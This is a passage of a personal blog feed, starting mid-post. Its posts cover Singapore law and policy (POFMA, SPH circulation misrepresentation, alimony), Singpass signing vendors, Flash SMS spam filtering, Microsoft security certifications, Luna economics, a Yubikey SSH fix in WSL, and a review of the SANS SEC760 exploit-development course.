<p>There are 2 tests to POFMA. Firstly, it must be a false statement of fact. One might argue that the article above is an opinion and not a statement of fact. That is debatable. Even then, articles inspiring confidence in the defense of Singapore ran for days in multiple publications. With sufficient research, an article which skewed more towards fact than opinion will likely be found.</p>
<p>When looking at the second test, even though it is not explicitly stated, it is obvious that each of the 6 limbs are to be read disjunctively. That is to say, as long as either one of the limbs is satisfied, the second test is deemed to be satisfied. The article above can be argued to satisfy 7 (b) (ii), in that the contents inspired a false sense of confidence in the government's ability, leading readers to make a wrong decision to remain in Singapore instead of evacuating, hence jeopardizing the health and safety of the public, some of whom eventually perished during the occupation.</p>SPH Circulation Saga: Misrepresentation2023-02-05T17:29:00+08:002023-02-05T17:29:00+08:00Benjamin Limtag:limbenjamin.com,2023-02-05:/articles/sph-circulation-saga-misrepresentation.html<p>On Jan 9, it was <a href="https://mothership.sg/2023/01/sph-media-circulation-scandal/">reported</a> that SPH media inflated its daily circulation figures by 10 to 12% of its reported daily average circulation figures. If an advertiser were to take umbrage at the inflated figures, what recourse could they possibly have? </p>
<blockquote>
<p><i class="fa fa-quote-left fa-lg"></i> SPH Media CEO Teo Lay Lim told advertisers …</p></blockquote><p>On Jan 9, it was <a href="https://mothership.sg/2023/01/sph-media-circulation-scandal/">reported</a> that SPH media inflated its daily circulation figures by 10 to 12% of its reported daily average circulation figures. If an advertiser were to take umbrage at the inflated figures, what recourse could they possibly have? </p>
<blockquote>
<p><i class="fa fa-quote-left fa-lg"></i> SPH Media CEO Teo Lay Lim told advertisers in an email that circulation data was not used for the basis of advertising packages. <i class="fa fa-quote-right fa-lg"></i> </p>
</blockquote>
<p>If we were to take her word as truth, it would seem that advertisers were not overcharged and they paid a fair rate for their advertisements to be run. However, it does not address the fact that the falsified circulation data might have induced the advertisers to enter into a contract with SPH Media. Circulation data is definitely material when considering whether to advertise. English contract law is based on the principle of caveat emptor. A reasonable person would be expected to perform due diligence, very likely relying upon circulation data as one of the factors to consider whether to enter into contract with SPH Media. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code>SPH Media had fudged the numbers through various means which included:
1. counting lapsed contracts in circulation data
2. including copies that were printed, counted for circulation, and then destroyed
3. multiple instances of double-counting subscriptions
4. injecting a project account with additional funding to purchase fictitious circulation
</code></pre></div></td></tr></table></div>
<p>Items 1, 2 and 3 can probably be argued to be innocent misrepresentation. Relying on outdated data, confusion or mistakes made can explain the discrepancy. However, item 4 is the smoking gun here. There was deliberate effort taken to inject additional funding to fudge the numbers. There is no way that SPH Media was unaware given that funding had to be specifically requested and approved for this purpose. This probably fulfills the heavy burden of proof to be considered fraudulent misrepresentation. </p>
<blockquote>
<p><i class="fa fa-quote-left fa-lg"></i> According to SPH's former Chief Marketing Officer, Elsie Chua, the marketing department does not guarantee circulation in contract with advertisers. <i class="fa fa-quote-right fa-lg"></i> </p>
</blockquote>
<p>I would argue that this is an exclusion clause, where SPH Media is trying to exclude itself from the liability of providing inaccurate circulation data. Based on the language, it would seem that circulation data did not make it into the terms of the contract and it is a mere representation made during the contract negotiations. It is interesting here to note that in HIH Casualty and General Insurance Ltd v Chase Manhattan Bank [2003], the House of Lords held that exclusion clauses could apply only to negligent misrepresentation and not fraudulent misrepresentation. Hence, I don't think that statement holds any water. </p>
<p>Lastly, on the topic of remedies, rescission is out of the question. If the advertisement has already run, it is impossible to collect back all the newspapers, remove the advertisement and circulate them once again. Hence, the only remedy is compensation. In general, the calculation for damages aims to put the advertiser in the position it would have been if the misrepresentation did not occur. Therefore, the compensation may be in the region of about 10 to 12% of the amount the advertiser spent. </p>Sign with Singpass2023-01-10T17:49:00+08:002023-01-10T17:49:00+08:00Benjamin Limtag:limbenjamin.com,2023-01-10:/articles/sign-with-singpass.html<p>Apparently, you can now sign documents with Singpass using any of the <a href="https://api.singpass.gov.sg/library/sign/business/Digital%20Signing%20Partners">digital signing partners</a>. I have compiled the table below with each provider's most basic plan for easier reference with a focus on individual and not corporate usage. The signing certificate used by Singpass is currently not trusted by …</p><p>Apparently, you can now sign documents with Singpass using any of the <a href="https://api.singpass.gov.sg/library/sign/business/Digital%20Signing%20Partners">digital signing partners</a>. I have compiled the table below with each provider's most basic plan for easier reference with a focus on individual and not corporate usage. The signing certificate used by Singpass is currently not trusted by the default CAs loaded into Windows, so do take that into account as well.</p>
<style>
th, td{
padding: 0.5em;
}
</style>
<table class="table" width="100%">
<thead>
<tr>
<th>Vendor</th>
<th>Price</th>
<th>Features</th>
</tr>
</thead>
<tbody>
<tr>
<td>DocuSign</td>
<td>SGD 13/month</td>
<td>Send up to 5 documents for eSignature monthly</td>
</tr>
<tr>
<td>iText</td>
<td>Free for non commercial use</td>
<td>iText does provide a paid service. More interestingly, they provide a library that is free for non commercial use. </td>
</tr>
<tr>
<td>Kofax</td>
<td>Unknown</td>
<td>Unknown</td>
</tr>
<tr>
<td>OneSpan</td>
<td>Unknown</td>
<td>Unknown</td>
</tr>
<tr>
<td>Decodo</td>
<td>Unknown</td>
<td>Decodo claims to work closely with iText, possibly using same codebase. Also allows you to sign a document without uploading</td>
</tr>
<tr>
<td>Netrust Pte Ltd</td>
<td>Free</td>
<td>According to their website, uploaded documents are purged regularly</td>
</tr>
<tr>
<td>Modus Consulting</td>
<td>Free till Dec 2023</td>
<td>Their website is ndisign.sg. According to their privacy policy, they do not collect, use, store or disclose documents. This reminds me of NSA's definition of collection.</td>
</tr>
<tr>
<td>Redoc</td>
<td>SGD 30/month</td>
<td>Seems more targeted to real estate industry.</td>
</tr>
<tr>
<td>CrimsonLogic</td>
<td>Unknown</td>
<td>Unknown</td>
</tr>
<tr>
<td>Zoho</td>
<td>SGD 30/month</td>
<td>Part of Zoho's enterprise plan. Unlimited document signing.</td>
</tr>
</tbody>
</table>
<p>It appears that the service has been designed more for businesses. Some of the companies don't even advertise their service online while others are designed as part of a document workflow system where companies can pay a subscription to the service and upload templates, sending them out to their clients for signing. The clients don't have to pay to use the service.</p>
<p>For individual use, Modus Consulting's website looks dodgy. Their FAQ is riddled with spelling and grammatical errors. NeTrust seems to be your best bet. We just have to hope that "regular purging" is regular enough. NeTrust is also a Certificate Authority, that ought to count for something.</p>
<p>For commercial use, iText or Decodo seem to be the best option. They allow for signing without uploading the document to the DSP's server and iText is the reference implementation. </p>
<p>Unfortunately, there isn't a freely available easy to use software that communicates directly with the NDI API to do the signing. The iText library is a good starting point. Unfortunately, the library does not come with the certificate for mTLS connection to NDI API and NDI client ID and secret that is required to connect to the NDI interface. Hence, it is not usable without applying as a DSP yourself.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span></pre></div></td><td class="code"><div><pre><span></span><code> https://git.itextsupport.com/projects/RESEARCH/repos/ndi-demo/browse/ndi-demo/conf/application.conf
logger.config = "C:\\work\\ndi\\conf\\log4j.def.xml"
#logger.ndiConfig = ${?LOGGER_CONFIG}
//
//ndi.client.id =
//ndi.client.secret =
# modul
play.modules.enabled += "com.itextpdf.demo.ndi.modules.ApplicationModule"
play.cache.bindCaches = ["db-cache"]
</code></pre></div></td></tr></table></div>Global Talent Search2022-12-18T10:10:00+08:002022-12-18T10:10:00+08:00Benjamin Limtag:limbenjamin.com,2022-12-18:/articles/global-talent-search.html<p>People are up in arms over the fact that some technical sourcer from Meta is paid $100k per annum. How are technical sourcers different from your run-of-the-mill HR personnel? </p>
<p>A technical sourcer from Facebook reached out to me (based in Singapore) over LinkedIn a few years back to apply for …</p><p>People are up in arms over the fact that some technical sourcer from Meta is paid $100k per annum. How are technical sourcers different from your run-of-the-mill HR personnel? </p>
<p>A technical sourcer from Facebook reached out to me (based in Singapore) over LinkedIn a few years back to apply for a role based in the US. The role eventually went to a well qualified person (based in France) who has published research and spoke at conferences. I follow her blue ticked twitter account (back when blue tick actually meant something) and that is how I know that she got the job. She was clearly a better candidate and one of the top talents in the field. To get top talent, you need to do a global search and outreach. Not everyone is looking for a job all the time, not everyone is searching job portals in other countries, but they may be interested in trying if a good opportunity arises. Most run-of-the-mill HR personnel simply post a job in the job portal and sit around waiting for applicants. After a supposed "global talent search", some manage to find these global talents right in our backyard, fresh out of the military. </p>
<p>Secondly, the role which I was approached for was directly relevant to my experience, so the technical sourcer had good understanding and was able to filter down the list of candidates and not waste the hiring manager's time doing the filtering. I have had my fair share of recruiters spamming me with job opportunities that are irrelevant to my domain or of a vastly different seniority compared to where I was at. As a hiring manager, I have had recruiters dump CVs which are totally irrelevant to the position I am hiring for. It is a waste of the hiring manager's time to weed through piles of CVs and shortlist less than 1 in 10 CVs for interview. </p>
<p>In short, if the HR personnel is simply posting a job description in various job portals and dumping all the CVs received into the hiring manager's inbox (because I am HR and I don't understand all these technical stuff), it requires far less skill and thus they are rightly compensated far less that a well networked technical sourcer who trawls through LinkedIn connections to find suitable candidates to extend an offer to interview. </p>Miracast Compatible Devices2022-11-13T21:53:00+08:002022-11-13T21:53:00+08:00Benjamin Limtag:limbenjamin.com,2022-11-13:/articles/miracast-compatible-devices.html<p>Miracast compatibility for desktops is complicated. You will need a compatible graphics card and wifi adapter. It is such a pain to find out if a particular device is compatible since it is usually not listed on the manufacturer's page. There is also no exhaustive listing on the web so …</p><p>Miracast compatibility for desktops is complicated. You will need a compatible graphics card and wifi adapter. It is such a pain to find out if a particular device is compatible since it is usually not listed on the manufacturer's page. There is also no exhaustive listing on the web so you may have to take a gamble and hope that the device you purchased is compatible. You can try running <code>Get-NetAdapter | Select Name, NdisVersion</code> in powershell. If the NDIS driver version is 6.3 and above, the wifi adapter should be compatible. No guarantees.</p>
<p>I have managed to get Miracast to work on a Nvidia Quadro P2200 and a RTL8812CU wifi adapter. Since some webstore listings do not specify the chipset, <a href="https://www.lazada.sg/products/i636380533-s1912694045.html?urlFlag=true&mp=1&spm=spm%3Da2o42.order_details.item_title.1">this</a> is exact listing which I purchased.</p>
<p><img alt="image" src="//limbenjamin.com/media/miracast.png"></p>
<p>Miracast will create a Wifi Direct connection between the 2 devices, do take note that the wifi adapter I linked does not have an antennae, it may affect the signal strength. Both my devices are quite close by and I have not experienced any stutter even when streaming videos in HD. I have not been able to get Miracast over Ethernet to work since my receiver does not support a wired connection. That is one potentially route you can take if signal strength is a concern.</p>Lifelong Spousal Maintenance2022-09-29T17:39:00+08:002022-09-29T17:39:00+08:00Benjamin Limtag:limbenjamin.com,2022-09-29:/articles/lifelong-spousal-maintenance.html<p>A man has to pay spousal maintenance (alimony) to his ex-wife depending on her future earning capacity, the standard of living enjoyed prior to the breakdown of the marriage and the contributions made by the ex-wife to the welfare of the family. This seems fair. A woman who sacrificed her …</p><p>A man has to pay spousal maintenance (alimony) to his ex-wife depending on her future earning capacity, the standard of living enjoyed prior to the breakdown of the marriage and the contributions made by the ex-wife to the welfare of the family. This seems fair. A woman who sacrificed her future earning capacity by tending to domestic matters has made great indirect contributions to the marriage and should be able to continue enjoying a certain standard of living in the months to years following the breakdown of the marriage. However, lifelong spousal maintenance seems to be excessive considering the government's policies and stance on various issues. I believe a fairer cap would be a maximum of 8 years of alimony with a gradual decrease in amounts in the last 3 years. </p>
<h2>No increase in earning capacity in the foreseeable future</h2>
<p>The government is actively pushing for reskiling/upskilling through initiatives like SkillsFuture. Minister Tharman introduced the idea of a trampoline at the St Gallen's Symposium in 2015, explaining that Singaporeans are expected to take personal responsibility to improve their situation, to take up a job and work at it instead of relying on handouts from the government. Therefore, it seems puzzling that a certain segment of society, specifically ex-housewives, are exempt from taking any personal responsibility for the rest of their life and can comfortably rely on handouts from the ex-husbands. </p>
<p>Ex-housewives should undergo reskilling/upskilling. It may take them 5 years to complete a diploma/degree due to their age and then start at an entry level job. 8 years of alimony should be sufficient to tide them over during this transitory period before they start making their own keep. </p>
<p>I believe lawmakers are aware of this paradox. In 2016, an amendment was passed to the Women's charter to allow a mentally or physically incapacitated ex-husband who is unable to maintain himself to claim spousal maintenance from their ex-wives. I can understand how an incapacitated man can have no increase in earning capacity in the foreseeable future but fail to see how an able-bodied and able-minded woman can claim likewise. </p>
<h2>Lifelong sustenance of prior standard of living</h2>
<p>President Halimah once said in parliament that if chicken is too expensive, we can encourage Singaporeans to turn to alternatives like fish. Considering that man and wife is now man and woman, each party should live within their own means. A transitory period of 8 years should be sufficient even if she used to live like Crazy Rich Asians. First 2 years renting a place in the same neighbourhood, enjoying frequent high teas and jetting to faraway destinations like she used to. Next 2 years renting a condo in a cheaper location and making more lower SES friends. If she is able to reskill/upskill or rely on her own connections to stand on her own 2 feet, she can remain at or even increase her standard of living. Otherwise, next 2 years moving down to HDB in the heartlands and final 2 years moving into a rental flat if she is a total klutz. 8 years allows for a gradual transition from the highest echelons of society towards a new normal for her. </p>
<h2>No lifelong indirect contribution to welfare of ex-husband</h2>
<p>Although direct contribution to the marriage is a lifelong commitment. Indirect contribution ceases at the point of breakdown of the marriage. If lawmakers believe that ex-housewives can no longer earn her keep after 10 years in the kitchen, then likewise men who have not stepped into the kitchen for the past 10 years should be unable to learn to cook, do his own laundry, clean the house and so on. Why is an ex-wife not required to continue performing household chores for the ex-husband in return for spousal maintenance? Perhaps it can be argued that domestic help is cheap, is the ex-husband then allowed to argue for a reduction in maintenance to pay for domestic help? </p>
<h2>Gaming the system</h2>
<p>Firstly, the woman would resign from her job citing work stress, or needing to take a sabbatical. Her husband, not knowing the game plan, will support her and tell her to take as much time as she needs. Next she would voluntarily take up all of the household chores since she is now not working. In the pockets of time available, she will frequently meet her friends for high tea, start increasing spending on material goods and start taking up expensive hobbies like golfing. Lastly, she will take regular vacations to faraway destinations to get relief from the alleged work stress. Such behaviour over the course of a few years will eventually cause the marriage to break down and secure the woman a hefty chunk in spousal maintenance by checking all the boxes. </p>
<p>Minister Mentor Lee once said that no one owes you a living. Perhaps it is more accurate to say that no one (except your ex-husband) owes you a living.</p>Spammers using Flash SMS2022-09-11T18:42:00+08:002022-09-11T18:42:00+08:00Benjamin Limtag:limbenjamin.com,2022-09-11:/articles/spammers-using-flash-sms.html<p>Apparently, spammers are now using Flash SMS to send their messages. This is the first time I have heard of Flash SMS and it is deeply concerning as the message automatically opens and displays on the screen even if the phone is locked. Less savvy users may be easily tricked …</p><p>Apparently, spammers are now using Flash SMS to send their messages. This is the first time I have heard of Flash SMS and it is deeply concerning as the message automatically opens and displays on the screen even if the phone is locked. Less savvy users may be easily tricked into thinking that the message comes from an official source. </p>
<p><img alt="image" src="//limbenjamin.com/media/flash_sms.png"></p>
<p>Unfortunately, it seems difficult to disable Flash SMS. The SIM toolkit app is referenced in some instructions online, but the options available in the app is service provider specific. Some providers like mine are more interested in providing Value Added Services like 4D/TOTO results instead of actual important functionality. Until IDA and the Telcos start looking into spam SMS/calls seriously, the problem is just going to get worse and spammers will continue to find new functionality to abuse. </p>
<p>I had previously proposed checking the Home Location Register (HLR) for the last known location and dropping calls/SMSes based on that information. It will require some collaboration between the Telcos but I believe it is a feasible solution. I am sure Telco engineers can come up with similar/better methods to scrub the intentional calls/SMSes ingress line of spoofed calls and SMSes. It appears to be more of apathy and lack of sound technical knowledge plaguing management, allowing the problem to fester. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span></pre></div></td><td class="code"><div><pre><span></span><code>Scenario: +65 9123 4567 phone call comes in from an overseas submarine cable.
# Perform the following checks on the HLR
if +65 9123 4567 [valid] is False:
telco will terminate call since number is not in use
else if +65 9123 4567 [roaming_status] is not_roaming:
telco will terminate call since phone is in Singapore, but call is coming from overseas
else if +65 9123 4567 [reachable] is absent:
telco will terminate call since phone is offline, but call is coming from overseas
else:
route the call to the recipient since phone appears to be overseas
</code></pre></div></td></tr></table></div>
<p><img alt="image" src="//limbenjamin.com/media/hlr_check.png"></p>MS-500, AZ-500, SC-200 exam review2022-08-12T21:13:00+08:002022-08-12T21:13:00+08:00Benjamin Limtag:limbenjamin.com,2022-08-12:/articles/ms500-az500-sc200-exam-review.html<p>The MS-500: Microsoft 365 Security Administration, AZ-500: Microsoft Azure Security Technologies and one more exam from a list of 3, were recently stipulated as part of the requirements under the <a href="https://docs.microsoft.com/en-us/partner-center/solutions-partner-security">skilling section</a> for companies interested in earning the designation <code>Microsoft Solutions partner for Security</code>. Microsoft awards points for up to …</p><p>The MS-500: Microsoft 365 Security Administration, AZ-500: Microsoft Azure Security Technologies and one more exam from a list of 3, were recently stipulated as part of the requirements under the <a href="https://docs.microsoft.com/en-us/partner-center/solutions-partner-security">skilling section</a> for companies interested in earning the designation <code>Microsoft Solutions partner for Security</code>. Microsoft awards points for up to 6 employees in a company that hold all 3 certifications. </p>
<p>Coming from a security operations background, I chose to take SC-200: Microsoft Security Operations Analyst to complete the trio. That was also where I chose to start since I believed that it wouldn't pose much of a challenge. I was wrong from the get go. It was a closed book exam with trivia style questions, quite different from the open book application style questions I was more used to. Questions such as which menu item to click on to perform a specific tasks were very common. The exam also covered material which I felt were not part of the job scope of a SOC analyst. Questions on which roles or permissions are required for certain tasks or setting up the product felt more like a SOC engineer's job scope. Questions on which tier of subscription is required to enable certain features felt more like a presales engineer/onboarding specialist's responsibility. I managed to pass after a fair bit of studying from the learning paths, watching some videos and working on practice tests. </p>
<p>The next exam I chose to take was the AZ-500 exams. I have been working with Azure app service, MSSQL databases, key vault, logic apps and function apps in the past year and since I found out that the exam was going to be on product knowledge and not really domain knowledge, I felt more confident. Again, it wasn't as easy as expected. The main challenge I found here was that the exam covered all Azure service offerings. This included Azure AD, VM, Virtual networks, and storage which I had never used. A bit of luck played a part here, I was assigned more questions on services which I was more familiar with in my 2nd attempt and managed to score a pass. </p>
<p>I left MS-500 for last as I had the least familiarity with it. Fortunately, there was quite a bit of overlap in knowledge from the previous 2 exams. Monitoring of O365 services from SC-200 showed up here again. Azure AD related configuration from MS-500 also showed up here. The only new topics were Azure Information Protection, DLP and a bit of Bitlocker. I had an easier time with this exam possibily because of the overlap in material and because I was used to the style of questions. </p>
<p><img alt="image" src="//limbenjamin.com/media/azure_certs.png"></p>
<p>Having passed all 3 exams in under a month, I would say that it is possible to pass the exams without much hands-on experience. Given the vast scope of products and angles covered in 3 different exams, I would say it is near impossible for anyone to have hands-on experience with everything covered on those test. I definitely have a better understanding of the various Microsoft services but I don't think I will be able to retain much of that knowledge given that I work with probably only 5% of the technologies covered in the exams. </p>Luna economics2022-06-24T19:52:00+08:002022-06-24T19:52:00+08:00Benjamin Limtag:limbenjamin.com,2022-06-24:/articles/luna-economics.html<p>I started reading about Luna after the crash and the more I read, the more I failed to understand. So many articles were mentioning DeFi and articles explaining how Luna works covered the exact same point about the seesaw. If demand for UST increases, Luna is burned and vice versa …</p><p>I started reading about Luna after the crash and the more I read, the more I failed to understand. So many articles were mentioning DeFi and articles explaining how Luna works covered the exact same point about the seesaw. If demand for UST increases, Luna is burned and vice versa, thus keeping everything at equillibrium. It was as if the same explanation was just copy pasted on multiple websites and no one really understood how it works at its core. It was only a week after the crash that actual economic analyses started coming out. Suprisingly, these analyses compared Luna to traditional economies, there is no DeFi, nothing new and fancy, Luna works like every other traditional currency and are bound by the same economic rules. </p>
<style>
th, td{
padding: 0.5em;
}
</style>
<table class="table" width="100%">
<thead>
<tr>
<th>Luna</th>
<th>Traditional Currency</th>
</tr>
</thead>
<tbody>
<tr>
<td>The value of 1 UST is pegged to 1 USD </td>
<td>The value of 1 SGD is pegged to 1 Brunei Dollar</td>
</tr>
<tr>
<td>Luna Foundation Guard sold more than 33,000 bitcoin from its reserves to defend the UST dollar peg</td>
<td>MAS has reserves to buy and sell the Brunei Dollar to maintain the peg</td>
</tr>
<tr>
<td>You can trade Luna for UST and trade UST for USD freely</td>
<td>You can trade SGD for Brunei Dollar freely</td>
</tr>
<tr>
<td>You can stake Luna to get up to 8% returns per year</td>
<td>US Federal Reserve interest rate is 1.75% per year</td>
</tr>
</tbody>
</table>
<p>As you can see, Luna is not much different from traditional currencies. Instead of a central bank, you have the Luna Foundation Guard setting monetary policy and exchange rate policy. You may also have noticed that there is no Singapore example for interest rate. This is because exchange rate policy is Singapore’s only form of monetary policy. So, why can't Singapore dictate an interest rate? </p>
<p><img alt="mundell–fleming-trilemma" src="//limbenjamin.com/media/mundell–fleming-trilemma.png"></p>
<p>This is because of the Mundell Fleming Trilemma. A government has to choose 2 out of 3 factors. Singapore has chosen to control exchange rate and allow free capital movement, hence they have to allow interest rates to change according to external pressure. This Trilemma was presented in 1960s and over the years, there have been examples of governments (USD/MXN in 1994 and USD/THB in 1997) who tried to control all 3 and caused their currency to be depegged. I am not an economist and won't attempt to explain this any further. </p>
<p>It appears that beneath all the buzz and hype of DeFi, algorithmic stablecoins, and other seesaw mumbo jumbo, Luna is nothing new. It works the same as any traditional currency and has to abide by the same theories and constraints faced by them. They made the same mistake that Mexico and Thailand made in the 90s and caused Luna to implode. If you don't have a background in macroeconomics and cannot evaluate the economic model of a cryptocurrency, then trade at your own risk. </p>Yubikey WSL: Agent refused operation2022-05-03T08:17:00+08:002022-05-03T08:17:00+08:00Benjamin Limtag:limbenjamin.com,2022-05-03:/articles/yubikey-wsl-agent-refused-operation.html<p>I recently had problems using my Yubikey GPG key to SSH from my WSL instance to a linux server. After the usual checks, it seemed like it was a client side error <code>sign_and_send_pubkey: signing failed for RSA "/home/user/.ssh/id_rsa" from agent: agent refused operation</code>. Most people on the …</p><p>I recently had problems using my Yubikey GPG key to SSH from my WSL instance to a linux server. After the usual checks, it seemed like it was a client side error <code>sign_and_send_pubkey: signing failed for RSA "/home/user/.ssh/id_rsa" from agent: agent refused operation</code>. Most people on the internet recommend running <code>gpg-connect-agent updatestartuptty /bye</code> but it still did not work for me. Time to do a little more digging into the root cause. </p>
<p>Reading the <a href="https://linux.die.net/man/1/gpg-agent">GPG man page</a> revealed that <code>export GPG_TTY=$(tty)</code> should be added to <code>.bashrc</code>. The <a href="https://wiki.archlinux.org/title/GnuPG#Configure_pinentry_to_use_the_correct_TTY">archlinux wiki</a> shed even more light on what exactly had happened. I installed xserver recently and it was causing the <code>pinentry</code> program to start in the wrong TTY and hence failing.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="gp"># </span>confirm<span class="w"> </span>that<span class="w"> </span>gpg<span class="w"> </span><span class="k">in</span><span class="w"> </span>WSL<span class="w"> </span>can<span class="w"> </span>detect<span class="w"> </span>the<span class="w"> </span>yubikey<span class="w"> </span>
<span class="gp">$ </span>gpg<span class="w"> </span>--card-status
<span class="go">Reader ...........: Yubico YubiKey OTP FIDO CCID (0001234567) 00 00</span>
<span class="go">Application type .: OpenPGP</span>
<span class="go">Version ..........: 2.1</span>
<span class="go">Manufacturer .....: Yubico</span>
<span class="gp"># </span>confirm<span class="w"> </span>that<span class="w"> </span>the<span class="w"> </span>GPG<span class="w"> </span>key<span class="w"> </span>is<span class="w"> </span>present<span class="w"> </span><span class="k">in</span><span class="w"> </span>SSH<span class="w"> </span>agent<span class="w"> </span>as<span class="w"> </span>an<span class="w"> </span>identity
<span class="gp">$ </span>ssh-add<span class="w"> </span>-L
<span class="go">ssh-rsa AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span>
<span class="go">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span>
<span class="go">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span>
<span class="go">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span>
<span class="go">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span>
<span class="go">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span>
<span class="go">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==</span>
<span class="go">cardno:000123456789</span>
<span class="gp"># </span>get<span class="w"> </span>GPG<span class="w"> </span>to<span class="w"> </span>use<span class="w"> </span>current<span class="w"> </span>TTY<span class="w"> </span><span class="k">for</span><span class="w"> </span>pinentry
<span class="gp">$ </span><span class="nb">export</span><span class="w"> </span><span class="nv">GPG_TTY</span><span class="o">=</span><span class="k">$(</span>tty<span class="k">)</span>
<span class="gp">$ </span>gpg-connect-agent<span class="w"> </span>updatestartuptty<span class="w"> </span>/bye
<span class="go">OK</span>
<span class="gp">$ </span>ssh<span class="w"> </span>user@192.168.0.1
<span class="go">Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-107-generic x86_64)</span>
</code></pre></div></td></tr></table></div>SANS SEC760 Review2022-04-08T20:51:00+08:002022-04-08T20:51:00+08:00Benjamin Limtag:limbenjamin.com,2022-04-08:/articles/SANS-SEC760-review.html<p>I wasn't expecting to do yet another SANS course but the opportunity did arise for me to do SEC760 in ondemand format. Previously, I had already done SEC660 as well as OSCE and was conversant with buffer overflows in a multitude of formats (EIP overrides, SEH overrides, ASLR/DEP bypass …</p><p>I wasn't expecting to do yet another SANS course but the opportunity did arise for me to do SEC760 in ondemand format. Previously, I had already done SEC660 as well as OSCE and was conversant with buffer overflows in a multitude of formats (EIP overrides, SEH overrides, ASLR/DEP bypass, return to libc, ROP, egghunters, venetian shellcode, alphanumeric shellcode, limited buffer space...), so it was time to move on to heap overflows and into kernel land. </p>
<p>There are only a few courses at a similar level, Offensive Security AWE, Corelan Advanced exploit development course and of course, SANS SEC760. I believe they are rather similar in content with AWE being heavier on Windows kernel security mitigations, Corelan being heavier on Windows heap exploitation and SEC760 bringing in Linux and browser exploitation. </p>
<p>The exploits in SEC760 are a lot more complicated than SEC660 and cannot be done from scratch. Researchers spend weeks or months fuzzing, reading through source code or reverse engineering binaries to find out how heap chunks are allocated and deallocated in certain OSes. They then find ways to exploit, for example discovering that allocating x chunks of a certain size and deallocating the chunks in a certain order or that creating certain HTML elements nested in a particular manner would cause a vulnerability to exist. SEC760 focuses on explaining the basics and then stepping through these well known exploits, breaking at certain points to demonstrate what is happening and how the exploit works. You would have to spend lots of time doing your own research on a particular area to really have a chance of building your own exploit from scratch. </p>
<p>At times, the exploitation feels more like an art than science. You tweak an address leak payload repeatedly to try to obtain a consistent leak of a function pointer. You spray the heap with the same shellcode x amount of times and hope the EIP lands somewhere in a nop sled. Browsers are so complex and there are so many things going on at the same time, you might not know why an exploit failed. Even pausing too long at a breakpoint may affect the exploit as demonstrated in the walkthrough. </p>
<p>I feel that ondemand was a good way to do this course especially because I was totally unfamiliar with the heap and the Windows kernel. I found myself replaying the videos numerous times just to absorb the material since it is so information dense. I previously did SEC660, FOR508 and FOR610 live and had no issues keeping up with the material as I already had rough understanding of the material even before attending. I would have struggled doing SEC760 live. An additional benefit of ondemand is the ability to slowly work through all the CTF challenges. The CTF challenges are a really good way to test your understanding as they require you to find the the offsets and memory addresses specific to the CTF binary as opposed to just walking through and following the instructions on the sample binaries provided in class. </p>
<p>No coin this time, but 100% completion sure feels good. </p>
